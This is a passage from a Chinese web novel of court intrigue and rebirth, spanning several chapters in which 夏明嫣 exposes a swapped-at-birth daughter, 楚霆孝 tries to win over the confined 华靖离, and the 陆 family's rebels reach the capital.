“李玦,就是一头喂不熟的狼,我跟他纵使没有感情,我为他做了那么多的事,到了最后,他不止要我的命,到死还要再利用我一把……” 就在这一瞬,夏明月突然想到了楚氏那番话。 楚氏压根不相信什么重生,可就算是那样她都会说李玦如果真那样做了,就是故意让夏明嫣死在她手上,这样等于握住了她为了当上端王妃而谋害先王妃的铁证,将来好钳制她。 夏明月忽然觉得自己浑身的力气被什么东西一下子全都抽走了,她恨极了夏明嫣,可她不得不承认夏明嫣比她活得清醒。 夏明嫣能够直面李玦不爱她的现实,更能够毫无压力的揣测李玦的阴险用心……这就相当于她干预将白晃晃的刀子刺向自己,死她都要死个明白。 在这种情况下,夏明嫣的直觉和推断都更可信,这也同时意味着李玦也在利用她。 她自认达不到这世上对于贤妇的要求,可她不认为她对李玦的心意比别人的少、轻,不管李玦究竟是什么时候知道她的身世的,都逃不脱处心积虑利用她的事实。 夏明月现在心里一秃噜一秃噜地跳,她忽然开始有些庆幸李玦瘫了: “该,他就是活该,他瘫的好啊,省得他将来害我。你也不用为他不平,他也害不了你了,不是么?好好好,他就该瘫,这就是报应!” 夏明月眼中的光贼亮贼亮的,而且那几道贼光越来越亮,她在变得越来越兴奋。 这时候能有什么让她兴奋的事儿?只有陆家这重靠山了,当然,还有一样不能忽视的东西,就是恨,是对楚、夏两家和李玦的恨! 意识到火候差不多了,夏明嫣特意提点了她一下:“你现在该盼着陆家成事,至少那是你的亲生父母,只有血脉相连的至亲才会站在你身边,真正地为你着想。” “就算他们败了,带你离开大恒也是好的,总好过在这儿守着一个瘫子过日子。唉,你别想着他们要是败了,你还能过现在的舒服日子。” “夏家如今已经不管你了,要是没了陆家,楚家可还会管你死活?就算是夫人,即便她还念着你和她的母女之情,她能不跟楚家站在一起么?更何况在那之前,她就会把她的亲生女儿接回去了。” “亲生女儿?她见过了?在哪儿……她怎么还活着,命还真硬!”夏明月歇斯底里地道。 之后夏明月一定会忍不住去找楚氏对质,这事儿瞒不住,夏明嫣不打算瞒着,索性和盘托出: “没错,她已经见过了,人在我那儿呢。也不瞒你,你要是再不加把劲儿,就连她也要超过你了。夏明月,你自己照照镜子,看看你现在是什么眼神儿。陆家的到底是亲生父母,这就期待上了?” “你也可以想想夫人在见过自己的亲生女儿之后,这几天都在想什么,是不是如坐针毡、满怀期待啊?” 夏明嫣没理会夏明月还在问她什么,她当作没听见,径直离开了端侯府。 对她也是重生的这一点,夏明月没有表现出太多的惊讶,虽然这当中有她之前也想过这一点的因素在,可更多的是她被自己的身世转移了注意力。 夏明月现在心里已经开始控制不住地在设想之后要如何跟陆远山相认然后如何利用陆家帮她的事了,她要是再留下去,夏明月又该问她要如何跟陆家接触的建议了。 呵,嘴上说着有多恨她,关键时候是一点都不客气,还有脸让她帮忙出谋划策,真不知道陆远山那个听起来很稳妥的如夫人怎么就生出了这么一个女儿了。 有了今天的事,夏明月一定会尽快联络陆家,要是陆家事成,她跟了去,她大概能当个郡主。 就算事败,像陆远山这样的人也不会毫无准备,反正印象里陆家军就没缺过银子花,最大的可能就是前世他们得了一部分海藏中的宝物,换了钱财充作粮饷。 夏明月只要仔细回忆一下,也应该能想起一些细节,她会想着即便要一起逃,她也能过上富贵的生活,关键是那就再也不用伺候一个瘫子还要看这个瘫子的脸色了。 夏明月这边自有守城军和宫里暗卫的人盯着,夏明嫣回府之后就重新张罗起了南边寨子里的事。她虽然现在还不能亲自过去,可有些事可以安排人去做。 现在何姨母和李姑母两家的很多人都在寨子那边修路、做药材买卖,他们既然找到了新的生计,之前又跟李玦和夏明月撕破了脸,现在不仅依靠着夏明嫣和华家做生意,还把端侯府的好些事儿都抖落了出来。 关于海藏的线索多了起来,没多久宫里就传来了好消息,说是谢维那边传了书信回来,他们已经找到了探海索还找了一批船工,随时准备上船出海,把海藏打捞上来。 这件事看起来分好坏两面,好处是面对这些海藏和汹涌的大海,这回朝廷派去的人取得了很大的进展,至少有了一争之力。 可坏处也很明显,大海比陆上要广阔,不知道哪个岛上就藏着人呢,说不准什么时候就会杀出来,谢维现在的处境很危险。 当然,在未成事之前,那边还干不出上来就害了太子的事,可要说把谢维扣下来要挟朝廷,也不是不可能,尤其是谢维眼下还没能与华靖离会合。 第532章夏庸恍然大悟 现在要把寨子那边打理好,那里和中原相接,只要沿路的那些寨子多加照应,再利用好他们熟悉山路和密道的优势,这便是能保障谢维和华靖离平安的归途。 现在寨子那边不仅修了路、做起了药材和山货生意,寨民的子弟开始学认中原文字、算筹和耕种,因为这些寨民多数体质强健,尤其是那些已经三四十岁的那些,硬要他们学什么也不大来得及了,就将他们编成了守寨军,由跟着他们到南疆谋生的退军操练。 这些寨民原就是要守护寨子的,只是曾经的他们靠的多是体力和本能,武学、谋略、兵法这些他们几乎都不懂,一切都依照天性、本能而行。 现在路既然要通了,以后势必会和中原的联系更加紧密,这些都必须学起来,不然两边脱节,不好沟通、联手,万一陆家那边打过去,他们落后那么多,恐怕只会毫无还手之力,被陆家单方面的碾压。 这些人练起来,平时能保护寨子和沿途通路,一旦打起来了,短期内无法跟南疆诸王之军和像陆家这样的“外敌”抗衡,可至少能护着寨民往山里躲,筑起工式,保证当地的平安。 可是没等信和新一批的药材、物资送过去,南疆那边就传来消息,说是谢维在带人探寻海藏的过程中,被人围在了海上,那些人说是附近的“渔民”和“海商”,其实都是端侯府的旧部和楚家旧日的族亲。 这一下子,没等谢维和华靖离会合,他就被扣在了端侯府在那边的一个秘密“村落”里。 这时候意外又发生了,谢维被常王的一股暗卫“请”去了常王府,常王虽没有正式起事,却谁都知道他要开始干那件大事了。 夏明嫣心急如焚,将留守元京的郭林和府中精锐派了去接应华靖离,待她则先在元京策应,以防有新消息传回来,需要她与宫中周旋。 待元京局势平稳一些,她也想去南疆迎一迎华靖离。不过这中间她也回了一趟夏府,这回她找的不止是楚氏,而是夏庸和楚氏一起。 楚氏以为那日私下见过于杏儿之后,夏明嫣好些天没个动静,就是暂时不打算在夏庸面前挑明此事了。 因为这事儿一旦让夏庸知道了,夏庸定然受不了,可他顾着跟楚家的关系和夏家的颜面,于杏儿如今又只是一个不堪大用的渔家女,夏庸再生气也不会把这件事闹大,他只会息事宁人。 夏明嫣知道自己闹不出大的水花,就只能将此事留待日后,等到时机合适了,有了大的利益来交换才会说。 谁知道夏明嫣一来便说自己别无所求,只要说明真相,夏庸听了之后整个人都呆愣在那儿,指着楚氏说不出话来,他万万没想到楚氏能瞒着她干出这种事。 夏明嫣也不多说,站起来就要走:“今日没把于妹妹带过来,就是担心父亲见了惊着了他,也担心刺激到了您,让您的身子再有个好歹。” “这是于妹妹的画像,您且看看,您要是担心不像她,您也可以问问夫人。她已经见过于妹妹了,像不像她自己清楚。我之所以要把这件事儿挑明,也是因为于妹妹近来在云翠居做管事儿,已经有了些作为。” “她现在日日戴着帷帽出入,一直嚷嚷着被拘着了。只是要是她不戴帷帽,或是限制她出入,又着实委屈了她。可若让她不戴帷帽,她那张跟夫人相似的脸可就藏不住了……” 大恒礼教对女子不算苛刻,大部分女子出门都不戴帷帽,即便是高门贵女,到了人少的地方摘下帷帽,哪有在屋子里管家理事、打理生意还遮着脸不见人的。 于杏儿那张脸原就有七分像楚氏,只不过因为长年的风吹日晒和苦难磨砺,她的皮肤黝黑中带着粗糙,眉眼间也更加坚毅,这么看起来,原本的七分像就成了三分。 可是这些日子以来,于杏儿用了夏明嫣用药材调的脂膏,再加上环境的改变,还另外请了师父教她礼仪和识字,每日还让侍女盯着她写两篇大字。 如今的于杏儿皮肤白了许多,腰板儿比以前挺直了,走路比原先稳当了,谈吐也比原先规整了……她学习的速度非常快,再加上衣着、打扮的改变,现在已经越来越像楚氏了。 这张脸一旦现于人前,用不了多久就会有人说闲话。可要是夏庸执意不许,这可是好不容易才找回来的亲生女儿,那就太不近人情了。 夏庸现在好歹还是个侍郎,要是这等事儿传到宫里,他怕是可以直接回老家卢阳种地去了。 楚氏也气得发抖,不过她气的是夏明嫣:“你……这件事已经过去多年,明月也不是我跟别人生的,她的存在就是为了加固四家的联盟。你现在将这件事挑明,是何居心,你就这般半点不念孝道么?” 夏明嫣淡淡地看了她一眼,现在的她已经不会再被她压制半分了。 还有什么孝道,她对她在乎的亲人自然要尽孝,眼前的这两位恰恰不在她的考虑范围内。 确切的说,她上辈子跟他们也没什么亲情,她之所以能被他们拿捏,与其说是因为渴望父爱和母爱,不如说是迫于生存,她不得不把娘家当作助力。 她笑了笑,慢条斯理地道:“夫人这话可就怪了,您瞒着自己的夫君偷换亲女,事后也不告知,一直瞒了十六年。您问我讲不讲孝道,那么您可有讲妇德和做人的诚实、信用?” “您放心,我跟您亲手养大的夏明月不一样,不会凡事都往情情爱爱上想。我自小便知道您与父亲不是寻常夫妻,许多事儿都不能用常情理论。可即便是盟友,偷换盟友的亲生血脉,也不是一件讲道义的事吧?” 盟友之间最重要的就是信任,在大事上欺瞒,那便是在故意破坏这份信任,本就是大忌。 她转而扬声道,“父亲,如今这些事儿已经露到了外面,甚至是朝堂上,您就别由着夫人用这些内宅的手段拿捏女儿了。于妹妹现在是钩翊侯府的人,是圣上和太子殿下都知道的华侯将要纳进门的美婢,您若是执意想将她找个院子关起来,恐怕有所不妥。” “夫人,你竟敢干出这样的事,你这不仅是在祸乱我夏家的血脉,你这可是欺君,还不闭嘴!” 夏庸瞪了楚氏一眼,夏明月现在是端侯夫人,这是过了明路的,隐瞒身世,等同欺君。 而且夏庸到底跟寻常的父亲不一样,他在最初的惊讶和痛心、愧疚之后,他忽然生出一种恍然大悟之感。 第533章物是人非 夏庸现在觉得终于有人为她平反了,夏明月那般不是个东西,果然不是他夏家的血脉出了问题,是因为她压根就不是夏家的血脉。 那于杏儿听起来虽然只是一个乡下来的丫头,可怎么样也比夏明月强。好生打扮打扮,再教一教规矩,就算平凡了些,至少不会像夏明月那般丢人现眼。 他带了些激动和尴尬地开口:“明嫣,她既是你妹妹,让她给华侯为妾,似乎不大合适。你看,能不能先把她送回府中,我请了女师回来教导?” “呦,父亲现在学会对自己的亲生女儿好了。不过,父亲您学的有些晚了,也还没学会,现在不是把于妹妹接回夏家的最好时机。” 夏明嫣转了个身,正色道,“那些礼仪孝道的虚话就不必说了,您对我和我对您不过就是那么回事儿,硬要弄一出父女情深,反倒矫情。我如今对这夏家还有牵绊,不过是因为祖母还在世。” “我就直说了,太子殿下如今被常王扣住了,可他在去常王府之前是被陆家和楚家的旧部、族人先一步扣下的,只不过是被常王截了胡罢了。” “当年弃亲女而收养夏家女这事儿,咱们自己人相信父亲您全不知情,可是世人信么,圣上和太子殿下信么?他们但凡有一丝一毫的不信,怕是在定陆家逆反大罪的时候也要把夏家给勾连进去了。” “于妹妹现在好歹是钩翊侯府的人,圣上念着华家功劳不至于株连我与她,但她现在要是回了夏家,连她也被当做同谋论处了,那可就不一定了。父亲若想解决此事,还是先要到陛下面前陈情才是。” 于杏儿是一步位于河水中间的棋,因为她本身是受害者,而且因为送走之时还是个婴孩,接回之时又是夏明嫣这个华侯夫人一手操办的,她的不知情有足够的可信度。 如果夏庸能像于杏儿这边靠拢,他受害者的程度也可以通过渲染加深,再加上后期戴罪立功,将来还能保住性命,横竖他原先也不是这四家联盟的核心。 原先靠自己形同入赘来上位,后面靠两个女儿和一个养女来加固联盟,这样的人谁都知道他和夏家在当中是何地位。 况且有些话当着楚氏的面不方便说,可夏庸心里清楚,他虽然没什么作为,可毕竟当了这么多年的兵部尚书,楚家在南疆的许多安排都是经过他的手伪饰之后部署下去的。 虽然最终的部署一定与他下的命令有出入,但一定还有许多相同或相似之处,只要他肯交代、配合,一定可以戴罪立功,甚至会对这次迎回谢维和华靖离有所帮助。 “夫人,既然女儿在钩翊侯府挺好的,那就先让她长姐带在身边教导着吧,总好过由你这个不顾她死活的母亲带在身边。” 夏庸这回没再坚持要把于杏儿接回来,整了整衣袖,冷哼一声,拂袖而去。 剩下的无须多言,夏庸也清楚那些不是夏明嫣能做得了主的,都得经过圣上才行,要是夏明嫣和华靖离私自决定帮他,他们自己也会遭到猜忌,人家没有义务用牺牲自己的方式来帮他,剩下的功夫只能由他自己来完成。 夏庸的背影透露出的气息头一次有了坚韧和担当,这是他对夏家的担当,该是他这个做家主的来承担。 夏明嫣看着夏庸离去,兴致来了,就对着楚氏雪上加霜了一番:“都这么多年了,夫人还念着陆大人啊。您呢,是个长情的人,也比夏明月纯粹,可以称得上一句‘物以稀为贵’。” “不过……您有没有想过,您的少年郎已经变成了人到中年的贼匪头子,他身边还始终有一位不离不弃的如夫人相伴,他心里还有您么?” “或许还是有的,可究竟对您是有感情呢,还是因为你们四家之间的联盟和以后的大业,再有甚者只不过是对亲生女儿的牵绊,您只是他亲生女儿的养母罢了。” 少年时的陆远山是不亚于李玦、华靖和那般外表出色的世家公子,而且论心智和才学,他远比李玦这些人要强的多,可是近二十年过去了,他哪里还会是那个他。 别的先不提,这么些年了,楚氏因为心里有人,对夏庸不冷不热的,二人一直以来都相敬如宾。 可反观陆远山那边,那妾室成了如夫人,陆家上下都承认她,这就足以说明陆远山要比楚氏拿得起放得下。 而且能舍下元京的繁华,在那等苦寒、缺衣少食的地方不仅能熬下去,还练成了一支人马,此人心智之坚韧绝不是楚氏能够匹配的。在这一点上,她甚至还是比不上那位如夫人。 近二十年的严寒风霜折磨,陆远山恐怕也在外表上变成了另一个人,很可能还没夏庸看起来儒雅、体面,也不知道楚氏见到他之后,会作何感想。 楚氏却再次用她那颗痴心抓错了重点:“那不过是一个妾室,算个什么东西。就算我没能伴他左右,可我也为他抚养大了亲生女儿。” “然后呢?把人家亲生女儿养成这样。这就罢了,你不会真以为年少时的一腔痴心能抵得过二十年的生死相随吧?” 夏明嫣笑了一下,朝她眨了眨眼,“您口中上不了台面的妾室,当年并未在陆家的发配名单里,是她主动跟去的。您呢,不知道陆家被发配的时候,您可有冒险去见陆大人一面?” “您那时还忙着解除跟他的婚约呢,您但凡有点勇气,追过去一回,还能给他留些好印象,现在您对他来说最多也就是为不称职的养母了,都未必比得上霞姑姑呢。” “夫人,您是楚家女不假,可您早就跟夏家脱不了干系了。父亲最近要做什么,我劝您别管,害了夏家,就是害了您自己。楚家对您来说能不能靠得住,您自己心里清楚,别到时候连夏家这个依靠也没有了。” “摸着良心说句实话,作为盟友,我父亲这丈夫做得也算可以了。您若是太过分了,不知陆大人将来知道您都做了什么,会不会感到害怕?” 当年换女和做主将于杏儿处理掉的都是楚霆孝,他那么做的事哪里考虑过楚氏的感受,根本就没考虑过她究竟能不能受得了。 要是他们败了,夏庸为了撇清关系休了楚氏,你看楚家能不能重新接纳她,怕是避之唯恐不及的。 就算是陆远山那边,如果再见面之后,他觉得楚氏是个麻烦,让楚霆孝管好她,楚霆孝也一定会听从,根本不会管她还想不想跟夏庸继续做夫妻。 楚氏最好别妨碍了夏庸戴罪立功,更别影响华靖离和谢维平安归来,否则她保证不让楚氏活到见到陆远山的那一天…… 第534章拘禁行宫 夏明嫣进宫见了皇后,将府中和云翠居事宜做了交代之后,她也打算启程去南疆,可还没等到她起行,就听说华靖离回来了,但他是一个人回来的。 不仅谢维没跟着回来,就连寻他的郭林等人和之前他随行的人都没回来,朝野上下立刻便议论纷纷,说是华靖离把太子给丢了。 华靖离连城门都没进,就被拘禁在了城外二十里外的行宫,夏明嫣和董氏想去探望都没被允许,只收到了他让人送出来的一张字条,上面写了一个“安”字。 不过,钩翊侯府的人见不到华靖离,有一人却见到了,此人却是楚霆孝。 行宫的守卫被暂时支开了,那些都是守城军的人,可见楚霆孝这个即将致仕的丞相依旧权势不减。 华靖离在炭火上烤了烤手,用手势比了一下桌上的粗茶:“楚相金尊玉贵惯了,偶尔也尝尝清淡的,就当涮涮嘴了。您来这儿是想要什么?太子殿下没回来,我这儿恐怕求不到您想要的。” 楚霆孝冷笑了一声,语气中带着傲气:“华侯可后悔那日没认下老夫这个外祖父?若是后悔了,还来得及。陆家日前已在彭州起事,路过北疆时连克两城,眼看着不消十日,就要到元京了。” 华靖离像是没听清楚他说了什么,拿起看押他的人刚送来包着肉饼的油纸包,手掌感受到里面透出的冰凉,在手上掂了掂就放下了: “人一旦落魄了,喝凉水都塞牙。楚相纡尊降贵的能来看我,是我这个做小辈的福气,只是如今我还有什么是您用得着的?” “如今的北疆已移交给陈、宋两位将军,老夫不为难你。不过这守城军的乔将军是你阿弟的岳丈,守城军中也有你们华家军从北疆撤防下来的人,这城内更是有你夫人笼络的诸多退军……” 楚霆孝目光一凛,再开口时的语气却是不容置疑,“只要华侯手书两封,让这些人在陆家兵临城下之时打开城门接应,待事城之后,华侯不仅还是钩翊侯,还将是镇国大将军、大司马。” “虽说你不认老夫这个外祖父,可咱们毕竟是姻亲,老夫不会一点都不关照你和你的夫人。还有远山,等你见了,你一定相见恨晚。至于现在的朝廷是怎么对你的,不用老夫多说了吧?” 几代人的汗马功劳,多少人用血汗浇灌出的军功,就因为没能把谢维带回来,就把人关在这儿了? 南疆诸方势力云涌,人马众多,就算是没反的那些,对朝廷也是阳奉阴违的,华靖离才带了几个人去,能把谢维救回来那才该怀疑他是不是跟常王私下达成了什么协议呢。 还有谢维这个太子,也就是当年先皇在的时候看好这个皇孙,也多亏立的早,不然也轮不到他。 要是谢维最终没回来,楚霆孝觉得如果他是燕帝,他就到华靖离面前哭一场,不计较他的过失,然后把新立的太子托付给华靖离,好生收买一番人心。 没有必要为了一个未有寸功还不是独苗的太子,寒了功臣良将的心,而且话说回来了,就算华靖离真有什么问题,也不能一回来连城都不让进,就这么关起来了。 华靖离皱了下眉,看了楚霆孝一眼,忽然笑了一声:“楚相,您是老姜,我也不是刚长出来的嫩蒜,您这挑拨离间的伎俩可不高明。” “是,要是太子殿下回不来了,我也不会有什么好下场,总是圣上表面上不追究,过上几年也会秋后算账。可我也不会立刻就死啊,这几年够我把府里安排好了。” “可要是跟了您和陆家,一山不容二虎……楚相,您也别说的都是在为我考虑似的,您急于拉拢我,都拉拢到这儿来了,不单只是为了让我助你们成事,也是为了用我牵制陆家吧?” 楚霆孝考虑的很多,加上前些日子华靖离劝过他的那番话也起了作用,无论是南疆的旧部和老族人,还是远在彭州二十年的陆家,今时今日哪个都很难全心全意地效忠楚家。 楚家对陆家原就有亏欠,现在的情况也不熟悉,两家之间不仅没有姻亲,还是断了姻亲的。当年让楚氏嫁给夏庸,虽然是出于大局考虑,可难保陆远山心里没有怨恨。 而且陆家将来估计就留在南疆了,这北边儿也需要人。虽然华靖离不买他的账,夏明嫣也不认他这个外祖父,可毕竟礼法上占着这层亲,以后总能有法子缓和。 要是能让华靖离站在他这一边,以后陆家万一有什么心思了,也得掂量掂量华家这边答不答应。 还有夏明嫣,她经营的那个云翠居,不仅收拢了华家军的退军家眷,这城里的那些军侯府后来都把各家退军家眷的安置事宜交给了他们,每年出点银子,由云翠居安排抚恤和安养,给那些家眷找活计。 本来这事儿只在元京和城外百里的范围内,随着夏明嫣这边的生意做到了南疆,这沿路的退军也有通过他们安置的。 这些个打仗的虽说大部分都是军户,上战场是天经地义的事,可他们当中谁不希望自己万一没回来,家里的老老少少都能吃上饱饭。 没错,朝廷和各个军侯府都会有抚恤银子发下去,可是数额上都只能借一时之急,之后这家的老人、妇人、孩子病了,往往就过得捉襟见肘了。 而且军户也分高低,大部分家里的日子都不宽裕,也没读过书、开过铺子,这些人多数不擅经营,银子花光之后就没了生计,没个人把他们引到营生上去,不行。 以前这块儿也有军侯府在做,可是因为人太多了,总是遇上灾年不得不管的时候才管,没有一个长久的规划,也成不了规模。做的又只是放粮、施粥之类的事儿,事情过了,又吃不上饭了,做不到授人以渔。 现在夏明嫣这么做,不仅让这些人的生计有了着落,靠着自己挣下的银子花着也踏实,能让他们觉得自己有靠了…… 现在那些个退军家里再有了长成的子弟,哪个都愿意跟着华家军打仗。 失去了夏家,楚霆孝并不怎么在乎,夏庸要是能把这夫妇两个招拢到麾下,楚霆孝也就不用担心陆家那儿有个什么变动了。 楚霆孝动作一滞,没想到华靖离会这般敏感:“如今陛下还没有拘禁老夫,却拘禁了华侯,可见还是忌惮老夫在朝野上下的势力的。华侯,难道你不觉得老夫和陆家的赢面更大么?” “若是华侯还是不愿意答应,老夫倒有一件事想跟你做笔交易……” 第535章只有一个要求 华靖离看着那盆已经近乎熄灭的炭火,沉声道:“楚相请讲。” 楚霆孝目露精光,很是笃定地道:“我可以设法让太子回来,那就是一个没用的孩子,相信常王也不会跟他置气,放了也就放了,先解华侯和华家的燃眉之急。” “老夫只有一个要求,陆家兵临城下之时,华侯纵使不帮老夫,也要称病不帮朝廷。” 华家不帮朝廷,单靠守城军也能挡住陆家,上一世就是如此,大恒并没有立刻就亡,而是一南一北分庭抗礼了近十年之后,谢维暴卒,才写下了终章。 只是说没有华家军相助,朝廷的损伤会大一些。不过楚霆孝没有重生,他以为没了华家军,朝廷就能直接溃败了。 华靖离忽然反应过来了,前世他被李玦害死之后,魂魄回到了元京,当时陆家军还在城外驻扎未退,难怪楚霆孝的身子和精气神儿是从那时候开始变差的。 陆家攻打元京没有起到预想中的效果,这陆家也八成跟他闹掰了,不然之后在南疆也不会排挤楚家。 华靖离作为知晓未来的人现在就想笑,这些人图谋了这么久,却没想到最后让孙允斌摘了桃子。 后来,孙允斌不仅坐了相位,他先将楚家一门三人罢了官,之后架空了李玦,若干年后他的儿子娶了谢维的女儿为正妻,将元京、北疆、中原统统纳入统治范围内。 楚霆孝皱了眉:“华侯,这很好笑么?就算陆家攻陷了元京,太子回不回来都无所谓了,但至少在陆家打过来之前,能保华家平安。” “你有父母、妻子,你二弟刚娶了妻,还没留后,你就一点不为这‘万一’考虑?还有你们华家世代忠烈,万一太子回不来了,等老夫人成了事,你身上少不得有几分疑影,你就不怕坏了你话家的名声?” 华靖离和夏明嫣都不认楚霆孝,可这种细节只有少数身边人能够确认,天下人大部分都认为他们是姻亲。 高门大户的姻亲也有很多平时看着并不怎么亲密,但到了关键时候都是相互扶持的。谢维要是死在了南疆,或是在常王府关了许多年才被放回来,谁会相信华靖离没有跟楚霆孝相互勾结? 楚霆孝笃定了华靖离这样的人视名誉为性命,而且也不是让他直接出兵,他不会不答应。 华靖离忍着笑,这让他的神情反而比平时更严峻,他终于还是无奈而悲凉地答应了: “既然圣上不能体谅我的苦衷,那便如相爷所愿吧。我如今拘禁在此,华家众部如今也多已退回老家安养准备南下迁移,本就无力统领他们进行元京防务。” “不过相爷,作为晚辈,我还是要提醒相爷一句,您今日还能在这儿见到我,焉知不是陛下故意放纵的?战事艰辛,您年事已高,还要多加保重。” 楚霆孝没有理会这些叮嘱,他把这些理解为华靖离不甘之下的客套话,陆家能在北疆连克两城,远比他想象的要强大。 这守城军和元京周围的军侯府军从前大部分是打过山匪、马匪,对付过盗贼和闹事儿的,并没有经历过真正的战争,在战力上比北疆的那些人马都要弱一大截。 陆家连北疆的大城都能攻克,这元京周围的人马根本不成问题,尤其是这一路打过来,陆家还收拢了更多人马,相信等他们打到元京时,定能势如破竹。 楚霆孝自信的很,只是他这份自信在华靖离看来有些荒谬。 下面的军情如何,上报时是很少提到具体细节的,在楚霆孝这个位置上只能听到结果和一些笼统的概述,他已经有很多年没理过战事了,根本不知道现在的仗是怎么打的。 待楚霆孝离开,屋子的门被从外面打开了,一干人等鱼贯而入,不仅换上了新的炭盆,还多了一个烤肉用的架子,华靖离直接就着炭火把案上油纸里包的肉饼拿出来放在上面烤了起来…… 十日后,是燕帝的生辰,不管什么时候,帝王的生辰都是要热闹一番的,只是今年常王和陆家都反了,这生辰注定不能大办,却也还是办了一场灯会。 夏明嫣如今的行动并没有受到限制,这日也出来看灯,只是她没有法子像周围的那些百姓一样享受帝王生辰的恩泽。 因为上一世时陆家就是在新帝谢维的生辰时打过来的,虽然所有的部署都已就绪,但论到具体事情会如何发生,这是谁都无法预料到的。 尤其是因为她跟华靖离的介入,这场乱局提前了近十年,这也就意味着陆远山比上一世年轻了近十岁。这就意味着,陆远山要比前世更加野心勃勃、好战,他带领的陆家军在行动上也要更迅捷。 华叶峰和董氏如今都还在圣上赐的皇庄里,没有旨意,不得回来。 夏明嫣心不在焉地看着灯,身边除了秋果,还带着画扇和于杏儿,这里面就属画扇最遮遮掩掩的,动不动就低头、遮脸的。 于杏儿看了画扇一眼,带了些揶揄地道:“你挡什么,就算那个姓陆真在今夜打过来,也没人知道你是他女儿。你这样遮遮掩掩的,反而很奇怪。” 画扇两边嘴角向下一耷拉,低声道:“我这不是紧张么?万一他真的打过来了,我还得假装去打开城门接应他们,我哪儿干过这种事儿。” “算了算了,我就觉得我是有心没命,老想着当富贵人家的姑娘,到头来真有了一个出身高门的亲爹,没想到却是这么个人。” 什么将来当陆家名义上的家主之类的,画扇原本还野心勃勃的,可一事到临头了,她又忍不住发憷。 要是现在夏明嫣给她一笔银子,够她下半辈子衣食无忧,她立刻就走,隐姓埋名,保证不让她亲爹找到他们母女。 而且现在她娘霞姑姑都已经改嫁了,过得很好,这突然冒出来一个一点都不般配的亲爹,这可如何是好。 霞姑姑倒是挺聪明的,年少时对陆远山的那点遐想早就随着岁月流逝和苦难的磨砺没了踪影。现在陆远山打回来了,她反而很担心。 主要是陆远山对她全无感情,当年只不过是一个意外,她还嫁了两回人,一个是家丁,一个是原煤场的工头、现庄子的管事,这两个人都跟陆远山有着巨大的差距。万一陆家人觉得她丢人了,会不会让她就地“病逝”? 再者谁能想到这陆远山从前一个翩翩公子,如今怎么就成了反贼了?这要是输了,她说不定就变成贼婆了。就算赢了,也没她啥好处,她就只能指望画扇了。 第536章结局(1) 画扇一脸肚子疼的表情,夏明嫣看了只能给她壮胆:“你就把他当作你的前程,你的康庄大道,闷着头过去了就得了,以后都是好日子。” “你现在想这么多也没用,说不准开城门这种活儿也有别人代劳了呢?你就安心等着……” 这是有小恶却没大胆的,将来要想让画扇坐镇陆家,哪怕只是当一个傀儡,也难镇住那些人,这以后还得派个心腹给她。 正想着,夏明嫣神情一僵,她抬手示意身边的人别说话,转而进了旁边的巷子,段下身、弯腰将耳朵凑近了脚下的地。 听到了,那是马蹄声,现在城门口还一派生平景象,显然城楼上的守城军还没看到对方的人马,人还在远处。 可这么远还能听到,这支人马至少要有两三千人,而且至少有一半是骑兵。 时候到了,夏明嫣让身后跟着来的侍卫送画扇去城门口,嘱咐道:“城门已经关了,你去了那边找一位姓关的城门关,都是安排好的。等时机到了,你就去开城门去迎陆远山。” “到时候他应该会先派一支小队跟你进来,扰乱城中秩序,你保护好自己,等到守城军有了应对,你就找个地方先躲躲。” “夫人,我怕……侯爷真的不会带华家军来么?就守城军……我怕。”画扇脚下灌了铅似的被人拖着都不想走。 夏明嫣只能哄她:“侯爷他想来也来不了啊,你也体谅我们一下。你放心,守城军乔老将军如今也是华家的亲家,他怎么都会为自己的女儿着想。你这回立了功了,也能帮一帮我们,帮侯爷分辩分辩,就当你报恩了。” 一同出来、刚才在巷子口观望的乔依心也走了过来,连声向画扇保证:“我父亲那儿都说好了,你只管去,要是乱起来,你就躲,不会有事的。” 这才勉强把画扇送走了,夏明嫣又交待于杏儿:“有件事交待你去办,不知道你敢不敢?” “有什么不行的,你说,不过我可不是那个姓陆的女儿,也不知道能做什么。”于杏儿干脆地道。 这些日子要学着当个大家闺秀,她都快烦死了,眼看着一会儿要闹起来,一种兴奋之感让她的血液都沸腾了起来。 夏明嫣却知道这当中没那么简单,尤其是要过心里这一关,所以她之前才没像交待画扇一样去交待于杏儿: “去看住夏明月,陆远山今夜来袭是她报的信,她定然也要引陆家进城。我怕的是,她还有别的举动,或者是她见了陆远山之后,会不会把海藏的其他线索告诉陆远山。” “我希望你能跟住她,如果她要跟陆远山说什么,你要想法子让陆远山不要相信她。你是被陆远山的女儿顶替了的,他不会杀你,可是夏明月会,你怕不怕?” 表面上谢维上次出海什么都没碰着就被截停了,实际上他们已经找到其中一艘沉没的大船,并且用探海索打捞上来了几只大箱子。重要的是,这些东西并没有落到楚家和常王手里,而是被及时送到了安全的地方。 关键是因为他们确定了其中一条船的位置,虽然没有确切的消息,但后赶到的楚家人很可能在他们的基础上也找到了几艘船。如果真是如此,那些消息很可能已经送回了元京。 楚霆孝现在还没跟李玦撕破脸,日前他不仅去了行宫,还在入夜后去过端侯府,很可能便是将消息带给了李玦。 夏明月虽说是陆远山的亲生女儿,可毕竟连面都没见过,她还坏了名声,她一定会想到要拿什么重要的东西投诚才行。 李玦已经不中用了,夏明月一定会想着去投奔陆远山,要让陆远山手上不止有人马,还要把钱财也拢到手里。 楚霆孝已经去拉拢华靖离了,这就意味着他对陆家设了防了,他至少现在还不会把海藏的消息告诉陆家,会这么做的反而最有可能的是夏明月。 夏明月现在知道了自己真实的身世,一看见于杏儿这张脸就会知道这才是楚氏真正的亲生女儿,她这样的人不会对于杏儿心存愧疚,反而会想彻底铲除自己顶替了的正主。 可是夏明月还有用处,不能把她直接关起来,这就需要一个人牵制住她,于杏儿能不费吹灰之力地吸引她的怒火和好胜心,还真就是那个合适的人选。 于杏儿想都没想就道:“给我个能带着我跑的人就行,就她这种高门贵女,我一个人能收拾四个。你就等着瞧好吧,有我跟着她,那陆远山见着她了也得怀疑这人是不是被楚家给换了。” 没有丝毫犹豫,夏明嫣指了两个护卫跟着,于杏儿转身就走,去找夏明月去了。 夏明嫣也带着乔依心和秋果去了城门附近的一家酒肆,那酒肆起了一座高楼,在上面刚好能看到下面街上的情景。 半个时辰后,陆家的探子抵达元京城下,果然,还没等画扇那个胆小如鼠的动手,夏明月就通过她事先买通了的人把这支探子放了进来,他们悄无声息地做掉了城门的看守,换上了他们的衣裳把住了城门。 城里还热闹着,似乎没有人留意到城门这边已然发生了变故,但这些人也没有留意到最先带夏明月进来的人已然不知什么时候不见了踪影。 